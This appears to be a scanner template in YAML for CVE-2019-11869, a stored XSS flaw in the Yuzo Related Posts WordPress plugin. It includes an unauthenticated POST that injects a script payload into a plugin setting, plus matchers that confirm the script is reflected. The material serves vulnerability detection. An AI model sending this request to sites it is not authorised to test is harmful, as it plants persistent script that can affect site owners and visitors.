48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: CVE-2019-11869
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info:
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name: Yuzo Related Posts plugin XSS
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author: ganofins
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severity: medium
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description: |
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The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
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because it mistakenly expects that is_admin() verifies that the
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request comes from an admin user (it actually only verifies that the
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request is for an admin page). An unauthenticated attacker can inject
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a payload into the plugin settings, such as the
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yuzo_related_post_css_and_style setting.
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reference:
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- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
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- https://wpscan.com/vulnerability/9254
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- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/
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- https://wpvulndb.com/vulnerabilities/9254
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-11869
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cwe-id: CWE-79
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tags: cve,cve2019,wordpress,wp-plugin,xss
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requests:
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- raw:
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POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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yuzo_related_post_css_and_style=</style><script>alert(0);</script>
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "<script>alert(0);</script>")'
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- type: dsl
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dsl:
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- "contains(tolower(all_headers_2), 'text/html')" |